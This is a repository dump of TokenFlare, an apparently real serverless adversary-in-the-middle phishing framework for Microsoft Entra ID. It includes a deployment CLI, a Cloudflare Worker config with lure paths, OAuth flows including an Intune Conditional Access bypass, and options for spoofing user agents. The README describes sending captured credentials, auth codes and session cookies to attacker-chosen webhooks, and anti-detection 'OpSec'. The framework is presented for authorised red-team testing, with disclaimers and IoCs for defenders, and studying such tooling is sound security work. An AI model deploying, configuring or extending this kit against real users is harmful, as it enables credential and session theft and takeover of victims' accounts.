├── tokenflare_logo.png ├── .gitignore ├── tokenflare.cfg.example ├── tokenflare.py ├── lib ├── __init__.py ├── utils.py ├── cli.py ├── config.py └── commands.py ├── wrangler.toml ├── README.md ├── tests └── test.py ├── src └── worker.js └── LICENSE /tokenflare_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JumpsecLabs/TokenFlare/HEAD/tokenflare_logo.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/* 2 | .wrangler 3 | .env 4 | *.bak 5 | tokenflare.cfg 6 | certs/*.pem 7 | certs/*.key 8 | __pycache__/ 9 | *.pyc 10 | -------------------------------------------------------------------------------- /tokenflare.cfg.example: -------------------------------------------------------------------------------- 1 | # TokenFlare Configuration File 2 | # WARNING: Contains secrets - do NOT commit to git 3 | 4 | [cloudflare] 5 | # Get these from CloudFlare Dashboard > My Profile > API Tokens 6 | api_key = YOUR_CLOUDFLARE_API_KEY_HERE 7 | account_id = YOUR_CLOUDFLARE_ACCOUNT_ID_HERE 8 | 9 | [deployment] 10 | # Worker name (will be ..workers.dev) 11 | worker_name = your-worker-name 12 | -------------------------------------------------------------------------------- /tokenflare.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | TokenFlare - Modular, Serverless AITM Framework for Entra ID 4 | 5 | AUTHORIZATION DISCLAIMER: 6 | This tool is designed for authorized security testing and ethical penetration 7 | testing engagements only. Use of this tool against systems without explicit 8 | written permission is illegal and unethical. 9 | 10 | Author: Gladstomych @ JUMPSEC Labs 11 | License: GPL-3.0 12 | Version: 1.0 13 | """ 14 | 15 | import sys 16 | 17 | if __name__ == '__main__': 18 | from lib.cli import main 19 | sys.exit(main()) 20 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | TokenFlare Library Module 3 | """ 4 | 5 | from typing import Dict 6 | 7 | # Version information 8 | VERSION = "1.0" 9 | BANNER = """ 10 | ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄ ▄ ▄▄▄▄▄▄▄ ▄▄ ▄ ▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄▄ 11 | █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▄ █ █ █ 12 | █▄ ▄█ ▄ █ █▄█ █ ▄▄▄█ █▄█ █ ▄▄▄█ █ █ ▄ █ █ █ █ █ ▄▄▄█ 13 | █ █ █ █ █ █ ▄█ █▄▄▄█ █ █▄▄▄█ █ █ █▄█ █ █▄▄█▄█ █▄▄▄ 14 | █ █ █ █▄█ █ █▄█ ▄▄▄█ ▄ █ ▄▄▄█ █▄▄▄█ █ ▄▄ █ ▄▄▄█ 15 | █ █ █ █ ▄ █ █▄▄▄█ █ █ █ █ █ █ ▄ █ █ █ █ █▄▄▄ 16 | █▄▄▄█ █▄▄▄▄▄▄▄█▄▄▄█ █▄█▄▄▄▄▄▄▄█▄█ █▄▄█▄▄▄█ █▄▄▄▄▄▄▄█▄▄█ █▄▄█▄▄▄█ █▄█▄▄▄▄▄▄▄█ 17 | 18 | by Sunny Chau (@gladstomych) JUMPSEC Labs 19 | Dec 2025 20 | 21 | """.format(version=VERSION) 22 | 23 | # OAuth URL Templates for Entra ID flows 24 | OAUTH_URLS: Dict[str, str] = { 25 | 'officehome': '/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&nonce=28145', 26 | 'teams': '/common/oauth2/v2.0/authorize?client_id=1fec8e78-bce4-4aaf-ab1b-5451cc387264&redirect_uri=https://login.microsoftonline.com/common/oauth2/nativeclient&response_type=code&scope=openid+offline_access+https%3A%2F%2Fgraph.microsoft.com%2F.default', 27 | 'intune': '/common/oauth2/v2.0/authorize?client_id=9ba1a5c7-f17a-4de9-a1f1-6178c8d51223&redirect_uri=ms-appx-web%3A%2F%2FMicrosoft.AAD.BrokerPlugin%2FS-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113&response_type=code&scope=openid+offline_access+https%3A%2F%2Fgraph.microsoft.com%2F.default', 28 | } 29 | 30 | # OAuth URL Display Names 31 | OAUTH_DISPLAY_NAMES: Dict[str, str] = { 32 | 'officehome': 'OfficeHome (office.com) - Default', 33 | 'teams': 'Teams (teams.microsoft.com)', 34 | 'intune': 'Intune (Microsoft Intune bypass)', 35 | } 36 | 37 | # Default lure configuration (used when not explicitly set in wrangler.toml) 38 | DEFAULT_LURE_PATH = '/verifyme' 39 | DEFAULT_LURE_PARAM = 'uuid' 40 | -------------------------------------------------------------------------------- /wrangler.toml: -------------------------------------------------------------------------------- 1 | # wrangler.toml 2 | # THESE CAN ALL BE CHANGED AFTER DEPLOYMENT ON CF DASHBOARD > WORKER > SETTINGS 3 | 4 | name = "tokenflare2025" 5 | main = "src/worker.js" # Entry point to the Worker 6 | compatibility_date = "2025-12-12" # Use today's date 7 | 8 | # Account information 9 | account_id = "YOUR_CF_ACCOUNT_ID_HERE" 10 | workers_dev = true # Set to false if deploying to a custom domain 11 | 12 | # Don't scrub comments, as much as you can.. 13 | minify = false 14 | 15 | # Logging 16 | [observability.logs] 17 | enabled = true 18 | 19 | # Env Variables 20 | [vars] 21 | ALLOWED_IPS = "" 22 | LOCAL_PHISHING_DOMAIN = "" 23 | # --- Alerting --- 24 | # Supports: Slack, Discord, Teams, or any generic webhook URL 25 | # WEBHOOK_URL = "https://discordapp.com/api/webhooks/YOUR_DISCORD_WEBHOOK" 26 | # WEBHOOK_URL = "https://webhook.site/YOUR_GENERIC_WEBHOOK_btw_webhook_site_for_testing_only" 27 | 28 | # --- Debugging --- 29 | DEBUGGING="true" 30 | 31 | # ---- IP Confs --- 32 | # Leaving this empty or unset(meaning, fallback to default) means world visitable, i.e. what you'd expect in prod 33 | # ALLOWED_IPS="" 34 | # ALLOWED_IPS="127.0.0.1" 35 | 36 | # ---- Client Settings --- 37 | # CLIENT_TENANT="www.client.com" 38 | # uncomment to set the initial login page to the client's 39 | CLIENT_TENANT = "common" 40 | # uncomment to customise where you send the user to after auth is complete 41 | FINAL_REDIR = "https://thecatapi.com" 42 | UNAUTH_REDIR = "https://example.com" 43 | 44 | # ---- Lure Settings --- 45 | # /verifyme?uuid= would be the default lure path if you don't change the below 46 | LURE_PATH = "/verifyme" 47 | LURE_PARAM = "userid" 48 | LURE_UUID = "" 49 | 50 | # ---- Custom Signin URL & Redirection --- 51 | UPSTREAM_PATH = "/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&nonce=28145" 52 | 53 | # uncomment for office.com (officeHome) 54 | # UPSTREAM_PATH = '/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&nonce=28145' 55 | 56 | # uncomment for Azure PowerShell (foci) 57 | # UPSTREAM_PATH = '/common/oauth2/v2.0/authorize?client_id=1950a258-227b-4e31-a9cf-717495945fc2&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient&response_type=code&scope=openid+offline_access+https%3A%2F%2Fgraph.microsoft.com%2F.default' 58 | 59 | # uncomment for Teams (foci) 60 | # UPSTREAM_PATH = '/common/oauth2/v2.0/authorize?client_id=1fec8e78-bce4-4aaf-ab1b-5451cc387264&redirect_uri=https://login.microsoftonline.com/common/oauth2/nativeclient&response_type=code&scope=openid+offline_access+https%3A%2F%2Fgraph.microsoft.com%2F.default' 61 | 62 | # uncomment for Intune bypass (foci) 63 | # UPSTREAM_PATH = '/common/oauth2/v2.0/authorize?client_id=9ba1a5c7-f17a-4de9-a1f1-6178c8d51223&redirect_uri=ms-appx-web%3A%2F%2FMicrosoft.AAD.BrokerPlugin%2FS-1-15-2-2666988183-1750391847-2906264630-3525785777-2857982319-3063633125-1907478113&response_type=code&scope=openid+offline_access+https%3A%2F%2Fgraph.microsoft.com%2F.default' 64 | 65 | # ---- Custom User Agent -- 66 | # would fall back to proxying the user's UA if commented out 67 | CUSTOM_USER_AGENT='TokenFlare/1.0 For_Authorised_Testing_Only' 68 | # CUSTOM_USER_AGENT='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15' 69 | # CUSTOM_USER_AGENT='Mozilla/5.0 Cloudflare is collecting our activities as threat intel' 70 | 71 | 72 | -------------------------------------------------------------------------------- /lib/utils.py: -------------------------------------------------------------------------------- 1 | """ 2 | TokenFlare Utility Functions 3 | 4 | Helper functions for certificate generation, UUID generation, 5 | command execution, and URL defanging. 6 | """ 7 | 8 | import os 9 | import sys 10 | import subprocess 11 | import shutil 12 | import uuid 13 | import logging 14 | from typing import Optional, List, Union 15 | from pathlib import Path 16 | 17 | 18 | def run_command(cmd: Union[str, List[str]], timeout: int = 5, **kwargs) -> Optional[subprocess.CompletedProcess]: 19 | """Run a command and return result""" 20 | try: 21 | return subprocess.run( 22 | cmd if isinstance(cmd, list) else cmd.split(), 23 | capture_output=True, 24 | text=True, 25 | timeout=timeout, 26 | **kwargs 27 | ) 28 | except Exception as e: 29 | logging.debug(f"Command failed: {e}") 30 | return None 31 | 32 | 33 | def generate_uuids(count: int = 20) -> List[str]: 34 | """Generate random UUIDs""" 35 | return [str(uuid.uuid4()) for _ in range(count)] 36 | 37 | 38 | def generate_self_signed_cert(domain: str, cert_path: Path, key_path: Path, days: int = 365) -> bool: 39 | """ 40 | Generate self-signed certificate using openssl 41 | 42 | Args: 43 | domain: Domain name for certificate CN and SAN 44 | cert_path: Path to save certificate 45 | key_path: Path to save private key 46 | days: Certificate validity period (default 365) 47 | 48 | Returns: 49 | True if successful, False otherwise 50 | """ 51 | logging.info(f"Generating self-signed certificate for {domain}...") 52 | 53 | # Modern browsers require Subject Alternative Name (SAN) - CN alone is not enough 54 | # The -addext flag requires OpenSSL 1.1.1+ 55 | cmd = [ 56 | 'openssl', 'req', '-x509', '-newkey', 'rsa:2048', '-nodes', 57 | '-keyout', str(key_path), 58 | '-out', str(cert_path), 59 | '-days', str(days), 60 | '-subj', f'/CN={domain}', 61 | '-addext', f'subjectAltName=DNS:{domain}' 62 | ] 63 | 64 | result = run_command(cmd, timeout=30) 65 | 66 | if result and result.returncode == 0: 67 | # Set secure permissions (600) 68 | os.chmod(cert_path, 0o600) 69 | os.chmod(key_path, 0o600) 70 | logging.info("✓ Certificate generated successfully") 71 | return True 72 | 73 | logging.error(f"Failed to generate certificate: {result.stderr if result else 'timeout'}") 74 | return False 75 | 76 | 77 | def defang_url(url: Optional[str]) -> Optional[str]: 78 | """Convert URLs to defanged format for safe display""" 79 | if not url: 80 | return url 81 | return url.replace('https://', 'hxxps://').replace('http://', 'hxxp://').replace('.', '[.]', 1) 82 | 83 | 84 | def get_wrangler_command() -> Optional[List[str]]: 85 | """Get the appropriate wrangler command (wrangler or npx wrangler)""" 86 | if shutil.which('wrangler'): 87 | return ['wrangler'] 88 | elif shutil.which('npx'): 89 | return ['npx', 'wrangler'] 90 | else: 91 | return None 92 | 93 | 94 | # ============================================================ 95 | # Permission Utilities 96 | # ============================================================ 97 | 98 | def is_root() -> bool: 99 | """Check if running as root""" 100 | return os.geteuid() == 0 101 | 102 | 103 | def require_root(command_description: str) -> bool: 104 | """ 105 | Check if running as root, exit with helpful message if not 106 | 107 | Args: 108 | command_description: Description of what needs root (e.g., "deploy local") 109 | 110 | Returns: 111 | True if root, exits otherwise 112 | """ 113 | if not is_root(): 114 | print(f"\n[!] The '{command_description}' command requires root privileges") 115 | print(f" Reason: Binding to port 443 and/or installing system packages") 116 | print(f"\n Run: sudo python3 tokenflare.py {command_description}") 117 | # print(f"\n Note: TokenFlare must be installed globally to work with sudo") 118 | sys.exit(1) 119 | return True 120 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TokenFlare 2 | 3 | **Serverless AITM Phishing Simulation Framework for Entra ID / M365** 4 | 5 |

6 | TokenFlare 7 |

8 | 9 | ## Features 10 | 11 | - Lean: Core logic (in `src/worker.js` only ~530 lines of JavaScript). 12 | - Modular: Supports a number of OAuth flows, with [Intune Conditional Access bypass](https://labs.jumpsec.com/tokensmith-bypassing-intune-compliant-device-conditional-access/) support out of the box 13 | - Easily tweaked: Set up client branding, URL structure (custom lure path and parameter), final redirect after completing auth, and more, with the semi-interactive `tokenflare configure campaign` subcommand. 14 | - Local or remote deployment: Supports getting SSL certs with Certbot for you, or deployment to CF directly. 15 | - Built in OpSec: bot and scraper blocking, your campaign wouldn't be burnt in 10 minutes. 16 | - Fast: get working, production ready infra within minutes. 17 | 18 | Companion blog post: [Link](https://labs.jumpsec.com/tokenflare-serverless-AiTM-phishing-in-under-60-seconds/) 19 | 20 | ## Prerequisites 21 | 22 | - Python 3.7+ 23 | - Node.js 20+ with Wrangler CLI. On Linux, we recommend [NodeSource](https://github.com/nodesource/distributions): 24 | ```bash 25 | curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - 26 | sudo apt-get install -y nodejs 27 | npm install -g wrangler 28 | ``` 29 | - CloudFlare account (for remote deployment) 30 | - [Optional] Certbot for local SSL: `sudo apt install certbot` 31 | 32 | >Note: Developed and tested on an Ubuntu VPS hosted on a public cloud. Running on localhost is possible but not recommended (for reasons such as port forwarding, DNS record pointing to you, etc) 33 | 34 | ## Quick Start 35 | 36 | ```bash 37 | # 1. Initialise 38 | python3 tokenflare.py init yourdomain.com 39 | 40 | # 2. Configure campaign (interactive wizard) 41 | python3 tokenflare.py configure campaign 42 | 43 | # 2.5. Get valid SSL certificate for the domain pointing to your VPS 44 | sudo python3 tokenflare.py configure ssl 45 | 46 | # 3. Deploy locally for testing 47 | sudo python3 tokenflare.py deploy local 48 | 49 | 50 | # 4. Deploy to CloudFlare 51 | python3 tokenflare.py configure cf 52 | python3 tokenflare.py deploy remote 53 | 54 | # 5. Troubleshooting 55 | # change some settings in wrangler.toml, src/worker.js, or with tokenflare configure, then 56 | python3 tokenflare.py deploy local #or 57 | python3 tokenflare.py deploy remote 58 | ``` 59 | 60 | ## Commands 61 | 62 | | Command | Description | 63 | |---------|-------------| 64 | | `init ` | Initialise project for domain | 65 | | `configure campaign` | Interactive campaign setup | 66 | | `configure cf` | CloudFlare credentials | 67 | | `configure ssl` | SSL certificate setup | 68 | | `deploy local` | Local HTTPS proxy | 69 | | `deploy remote` | Deploy to CloudFlare | 70 | | `status` | Configuration overview | 71 | | `status --get-lure-url` | Show lure URLs | 72 | 73 | ## Captured Credentials 74 | 75 | Credentials, auth codes, and session cookies are sent to your configured webhook. Supports Slack, Discord, Teams, and generic webhooks (auto-detected from URL). 76 | 77 | Configure during `configure campaign` or set `WEBHOOK_URL` in wrangler.toml. 78 | 79 | Local credential saving in files is not implemented due to serverless nature of Workers. If you'd like to add `log(creds);` in src/worker.js, beware that CF might redact JWTs, cookies or creds captured. Having a working webhook is the most reliable method in our experience. 80 | 81 | ## Easy IoCs for blue teams 82 | 83 | ``` 84 | Header: X-TokenFlare: Authorised-Security-Testing 85 | User-Agent: TokenFlare/1.0 For_Authorised_Testing_Only 86 | ``` 87 | 88 | ## Acknowledgements 89 | 90 | 91 | any Thanks to: 92 | - [TE](https://github.com/tdejmp) - for helping, debugging, teaching me a ton and otherwise being an awesome human being. 93 | - [Dave @Cyb3rC3lt](https://github.com/Cyb3rC3lt/) - for creating our v1 internal prod Worker. 94 | - [Zolderio](https://github.com/zolderio/) - for creating the prototype PoC Worker that started it all. 95 | 96 | ## Disclaimer 97 | 98 | **FOR AUTHORISED SECURITY TESTING ONLY** 99 | 100 | Unauthorised use against systems you do not own or have permission to test is illegal. 101 | 102 | Using Cloudflare's services to penetration test a third party might go against some of their T&C's. Don't write to us if your prod CF account was banned - consider yourself warned. 103 | 104 | ## License 105 | 106 | See LICENSE file. 107 | -------------------------------------------------------------------------------- /lib/cli.py: -------------------------------------------------------------------------------- 1 | """ 2 | TokenFlare CLI Application 3 | 4 | Main CLI class, argument parsing, and command dispatch. 5 | """ 6 | 7 | import sys 8 | import os 9 | import logging 10 | import argparse 11 | from pathlib import Path 12 | from typing import Optional, Tuple, Dict, Union, Callable 13 | 14 | from lib import VERSION, BANNER 15 | from lib.commands import Commands 16 | 17 | 18 | class TokenFlare: 19 | """Main TokenFlare CLI application""" 20 | 21 | def __init__(self, verbose: bool = False) -> None: 22 | self.verbose = verbose 23 | self.setup_logging() 24 | # Project root is where tokenflare.py is located 25 | self.project_root = Path(__file__).parent.parent.resolve() 26 | self.src_dir = self.project_root / "src" 27 | self.certs_dir = self.project_root / "certs" 28 | self.config_file = self.project_root / "tokenflare.cfg" 29 | self.wrangler_toml = self.project_root / "wrangler.toml" 30 | 31 | # Initialise commands with self 32 | self.commands = Commands(self) 33 | 34 | def setup_logging(self) -> None: 35 | """Configure logging based on verbosity""" 36 | level = logging.DEBUG if self.verbose else logging.INFO 37 | logging.basicConfig( 38 | format='[%(levelname)s] %(message)s', 39 | level=level, 40 | stream=sys.stdout 41 | ) 42 | self.logger = logging.getLogger('tokenflare') 43 | 44 | 45 | def dispatch_command(app: TokenFlare, args: argparse.Namespace, parser: argparse.ArgumentParser) -> Optional[Union[int, Tuple[str, str]]]: 46 | """Route commands to appropriate handlers using dispatch dictionary""" 47 | 48 | # Command dispatch map 49 | dispatch = { 50 | 'init': lambda: app.commands.cmd_init(args.domain), 51 | 'configure': { 52 | 'campaign': app.commands.cmd_configure_campaign, 53 | 'cf': app.commands.cmd_configure_cf, 54 | 'ssl': app.commands.cmd_configure_ssl, 55 | }, 56 | 'deploy': { 57 | 'local': app.commands.cmd_deploy_local, 58 | 'remote': app.commands.cmd_deploy_remote, 59 | }, 60 | 'status': lambda: app.commands.cmd_status(get_lure_url=getattr(args, 'get_lure_url', False)), 61 | 'version': app.commands.cmd_version, 62 | } 63 | 64 | handler = dispatch.get(args.command) 65 | 66 | if handler is None: 67 | return None 68 | 69 | # Handle nested commands (configure, deploy) 70 | if isinstance(handler, dict): 71 | subcommand_attr = f"{args.command}_type" 72 | subcommand = getattr(args, subcommand_attr, None) 73 | 74 | # If no subcommand provided, return special value to trigger subparser help 75 | if subcommand is None: 76 | return ('show_subparser_help', args.command) 77 | 78 | handler = handler.get(subcommand) 79 | 80 | if handler is None: 81 | return None 82 | 83 | # Execute handler 84 | return handler() if callable(handler) else handler 85 | 86 | 87 | def create_parser() -> Tuple[argparse.ArgumentParser, Dict[str, argparse.ArgumentParser]]: 88 | """Create argument parser with all commands""" 89 | parser = argparse.ArgumentParser( 90 | description='TokenFlare - Serverless AITM Framework for Entra ID', 91 | formatter_class=argparse.RawDescriptionHelpFormatter 92 | ) 93 | 94 | parser.add_argument('-v', '--verbose', action='store_true', 95 | help='Enable verbose logging') 96 | parser.add_argument('--no-banner', action='store_true', 97 | help='Suppress banner output') 98 | parser.add_argument('--version', action='store_true', 99 | help='Show version information') 100 | 101 | subparsers = parser.add_subparsers(dest='command', help='Available commands') 102 | 103 | # Init command 104 | parser_init = subparsers.add_parser('init', help='Initialise TokenFlare project') 105 | parser_init.add_argument('domain', help='Domain for deployment (e.g., example.com)') 106 | 107 | # Configure command 108 | parser_configure = subparsers.add_parser('configure', help='Configure TokenFlare settings') 109 | cfg_sub = parser_configure.add_subparsers(dest='configure_type', help='Configuration type') 110 | cfg_sub.add_parser('campaign', help='Configure campaign settings') 111 | cfg_sub.add_parser('cf', help='Configure CloudFlare credentials') 112 | cfg_sub.add_parser('ssl', help='Configure SSL certificates') 113 | 114 | # Deploy command 115 | parser_deploy = subparsers.add_parser('deploy', help='Deploy TokenFlare worker') 116 | deploy_sub = parser_deploy.add_subparsers(dest='deploy_type', help='Deployment type') 117 | deploy_sub.add_parser('local', help='Deploy locally with wrangler dev') 118 | deploy_sub.add_parser('remote', help='Deploy to CloudFlare') 119 | 120 | # Status command 121 | parser_status = subparsers.add_parser('status', help='Show configuration and deployment status') 122 | parser_status.add_argument('--get-lure-url', action='store_true', 123 | help='Display lure URLs') 124 | 125 | # Version command 126 | subparsers.add_parser('version', help='Show version information') 127 | 128 | # Return parser and subparsers for help messages 129 | subparser_map = { 130 | 'configure': parser_configure, 131 | 'deploy': parser_deploy 132 | } 133 | 134 | return parser, subparser_map 135 | 136 | 137 | def main() -> int: 138 | """Main entry point""" 139 | parser, subparser_map = create_parser() 140 | args = parser.parse_args() 141 | 142 | # Handle --version flag 143 | if args.version: 144 | print(BANNER) 145 | print(f"Version: {VERSION}") 146 | return 0 147 | 148 | # Show help if no command 149 | if not args.command: 150 | parser.print_help() 151 | return 0 152 | 153 | # Show banner (unless suppressed) 154 | if not args.no_banner: 155 | print(BANNER) 156 | 157 | # Initialise app 158 | app = TokenFlare(verbose=args.verbose) 159 | 160 | try: 161 | # Dispatch to appropriate command handler 162 | result = dispatch_command(app, args, parser) 163 | 164 | # Handle special return values 165 | if isinstance(result, tuple) and result[0] == 'show_subparser_help': 166 | command_name = result[1] 167 | if command_name in subparser_map: 168 | subparser_map[command_name].print_help() 169 | else: 170 | parser.print_help() 171 | return 1 172 | 173 | if result is None: 174 | # Invalid subcommand 175 | parser.print_help() 176 | return 1 177 | 178 | return result 179 | 180 | except KeyboardInterrupt: 181 | print("\n[!] Interrupted by user") 182 | return 130 183 | except Exception as e: 184 | logging.error(f"Unexpected error: {e}") 185 | if app.verbose: 186 | logging.exception("Full traceback:") 187 | else: 188 | logging.info("Use -v flag for detailed error information") 189 | return 2 190 | -------------------------------------------------------------------------------- /lib/config.py: -------------------------------------------------------------------------------- 1 | """ 2 | TokenFlare Configuration Management 3 | 4 | Functions for loading, saving, and updating TOML configuration files 5 | with comment preservation, and CloudFlare API integration. 6 | """ 7 | 8 | import json 9 | import urllib.request 10 | import urllib.error 11 | from typing import Dict, Any, Tuple, Union, List 12 | from pathlib import Path 13 | 14 | 15 | def load_toml(file_path: Union[str, Path]) -> Dict[str, Any]: 16 | """ 17 | Minimal TOML parser for wrangler.toml 18 | 19 | Handles: sections, nested sections, strings (single/double quoted), booleans 20 | Does NOT handle: arrays, inline tables, multiline strings, dates 21 | """ 22 | result = {} 23 | current_section = None 24 | 25 | with open(file_path, 'r') as f: 26 | for line in f: 27 | line = line.strip() 28 | 29 | # Skip comments and empty lines 30 | if not line or line.startswith('#'): 31 | continue 32 | 33 | # Section header [section] or [section.subsection] 34 | if line.startswith('[') and line.endswith(']'): 35 | current_section = line[1:-1] 36 | # Create nested dict for section 37 | parts = current_section.split('.') 38 | d = result 39 | for part in parts: 40 | d = d.setdefault(part, {}) 41 | continue 42 | 43 | # Key = value 44 | if '=' in line: 45 | key, _, value = line.partition('=') 46 | key = key.strip() 47 | 48 | # Handle inline comments (but not # inside quotes) 49 | value = value.strip() 50 | if value.startswith('"'): 51 | # Find closing quote 52 | end = value.find('"', 1) 53 | if end != -1: 54 | value = value[1:end] 55 | elif value.startswith("'"): 56 | # Find closing quote 57 | end = value.find("'", 1) 58 | if end != -1: 59 | value = value[1:end] 60 | else: 61 | # Unquoted - strip inline comment 62 | value = value.split('#')[0].strip() 63 | if value == 'true': 64 | value = True 65 | elif value == 'false': 66 | value = False 67 | 68 | # Place in correct section 69 | if current_section: 70 | parts = current_section.split('.') 71 | d = result 72 | for part in parts: 73 | d = d.setdefault(part, {}) 74 | d[key] = value 75 | else: 76 | result[key] = value 77 | 78 | return result 79 | 80 | 81 | def update_wrangler_var(file_path: Union[str, Path], var_name: str, value: Union[str, List, Tuple]) -> None: 82 | """ 83 | Update or add a variable in wrangler.toml while preserving comments 84 | 85 | This does a surgical text replacement instead of parsing/dumping TOML 86 | to preserve all comments and formatting. 87 | """ 88 | with open(file_path, 'r') as f: 89 | lines = f.readlines() 90 | 91 | # Format the value appropriately 92 | if isinstance(value, str): 93 | formatted_value = f'{var_name} = "{value}"' 94 | elif isinstance(value, (list, tuple)): 95 | # For lists, create comma-separated string 96 | formatted_value = f'{var_name} = "{", ".join(str(v) for v in value)}"' 97 | else: 98 | formatted_value = f'{var_name} = {value}' 99 | 100 | # Find if variable exists 101 | var_found = False 102 | for i, line in enumerate(lines): 103 | # Match variable assignment (with or without comments) 104 | if line.strip().startswith(f'{var_name}=') or line.strip().startswith(f'{var_name} ='): 105 | lines[i] = formatted_value + '\n' 106 | var_found = True 107 | break 108 | # Also check for commented-out version 109 | if line.strip().startswith(f'#{var_name}=') or line.strip().startswith(f'# {var_name} ='): 110 | lines[i] = formatted_value + '\n' 111 | var_found = True 112 | break 113 | 114 | # If not found, add after [vars] section 115 | if not var_found: 116 | for i, line in enumerate(lines): 117 | if line.strip() == '[vars]': 118 | # Insert after the [vars] line 119 | lines.insert(i + 1, formatted_value + '\n') 120 | break 121 | 122 | # Write back 123 | with open(file_path, 'w') as f: 124 | f.writelines(lines) 125 | 126 | 127 | def update_wrangler_field(file_path: Union[str, Path], field_name: str, value: str) -> None: 128 | """ 129 | Update a top-level field in wrangler.toml (e.g., name, account_id) 130 | 131 | Unlike update_wrangler_var() which handles [vars] section, 132 | this handles top-level key = "value" fields before any section. 133 | """ 134 | with open(file_path, 'r') as f: 135 | lines = f.readlines() 136 | 137 | formatted_value = f'{field_name} = "{value}"' 138 | 139 | field_found = False 140 | for i, line in enumerate(lines): 141 | stripped = line.strip() 142 | # Match field assignment (before any section like [vars]) 143 | if stripped.startswith(f'{field_name} =') or stripped.startswith(f'{field_name}='): 144 | lines[i] = formatted_value + '\n' 145 | field_found = True 146 | break 147 | 148 | if not field_found: 149 | # Insert after first comment block 150 | for i, line in enumerate(lines): 151 | if not line.startswith('#') and line.strip(): 152 | lines.insert(i, formatted_value + '\n') 153 | break 154 | 155 | with open(file_path, 'w') as f: 156 | f.writelines(lines) 157 | 158 | 159 | def test_cloudflare_api(api_key: str, account_id: str) -> Tuple[bool, str]: 160 | """ 161 | Test CloudFlare API credentials and get account subdomain 162 | 163 | Returns: (success: bool, subdomain: str or error_message: str) 164 | """ 165 | try: 166 | # Call CloudFlare API to get account details 167 | url = f'https://api.cloudflare.com/client/v4/accounts/{account_id}' 168 | headers = { 169 | 'Authorization': f'Bearer {api_key}', 170 | 'Content-Type': 'application/json' 171 | } 172 | 173 | req = urllib.request.Request(url, headers=headers) 174 | with urllib.request.urlopen(req, timeout=10) as response: 175 | data = json.loads(response.read().decode()) 176 | 177 | if data.get('success'): 178 | # Get account subdomain for workers 179 | account_name = data['result'].get('name', '') 180 | # The subdomain is typically derived from account, but we need to check workers subdomain 181 | # Let's get the workers subdomain from the account settings 182 | workers_url = f'https://api.cloudflare.com/client/v4/accounts/{account_id}/workers/subdomain' 183 | req2 = urllib.request.Request(workers_url, headers=headers) 184 | 185 | try: 186 | with urllib.request.urlopen(req2, timeout=10) as response2: 187 | subdomain_data = json.loads(response2.read().decode()) 188 | if subdomain_data.get('success'): 189 | subdomain = subdomain_data['result'].get('subdomain', '') 190 | return True, subdomain 191 | except: 192 | # If subdomain endpoint fails, return success but no subdomain 193 | return True, None 194 | 195 | return True, None 196 | else: 197 | errors = data.get('errors', []) 198 | if errors: 199 | return False, errors[0].get('message', 'Unknown error') 200 | return False, 'API call failed' 201 | 202 | except urllib.error.HTTPError as e: 203 | if e.code == 403: 204 | return False, 'Invalid API key or insufficient permissions' 205 | elif e.code == 401: 206 | return False, 'Authentication failed - check your API key' 207 | else: 208 | return False, f'HTTP error {e.code}: {e.reason}' 209 | except Exception as e: 210 | return False, f'Connection error: {str(e)}' 211 | -------------------------------------------------------------------------------- /tests/test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | TokenFlare Automated Tests 4 | 5 | Tests CLI error handling and validation logic. 6 | Does NOT test actual worker functionality (manual testing required). 7 | 8 | Usage: 9 | python3 tests/test.py 10 | python3 tests/test.py -v # verbose 11 | """ 12 | 13 | import os 14 | import sys 15 | import tempfile 16 | import shutil 17 | import subprocess 18 | from pathlib import Path 19 | 20 | # Add parent to path for imports 21 | sys.path.insert(0, str(Path(__file__).parent.parent)) 22 | 23 | # Test configuration 24 | PROJECT_ROOT = Path(__file__).parent.parent 25 | TOKENFLARE_PY = PROJECT_ROOT / "tokenflare.py" 26 | VERBOSE = '-v' in sys.argv 27 | 28 | # === Test Utilities === 29 | 30 | class Colors: 31 | GREEN = '\033[92m' 32 | RED = '\033[91m' 33 | YELLOW = '\033[93m' 34 | RESET = '\033[0m' 35 | BOLD = '\033[1m' 36 | 37 | def run_cli(*args, expect_fail=False, needs_root=False): 38 | """Run tokenflare.py with args and return (returncode, stdout, stderr)""" 39 | cmd = ['python3', str(TOKENFLARE_PY)] + list(args) 40 | 41 | if needs_root and os.geteuid() != 0: 42 | # Skip root-required tests if not root 43 | return None, None, None 44 | 45 | result = subprocess.run(cmd, capture_output=True, text=True, cwd=PROJECT_ROOT) 46 | 47 | if VERBOSE: 48 | print(f" CMD: {' '.join(args)}") 49 | print(f" RC: {result.returncode}") 50 | if result.stdout.strip(): 51 | print(f" OUT: {result.stdout[:200]}...") 52 | if result.stderr.strip(): 53 | print(f" ERR: {result.stderr[:200]}...") 54 | 55 | return result.returncode, result.stdout, result.stderr 56 | 57 | def test(name, condition, msg_pass="", msg_fail=""): 58 | 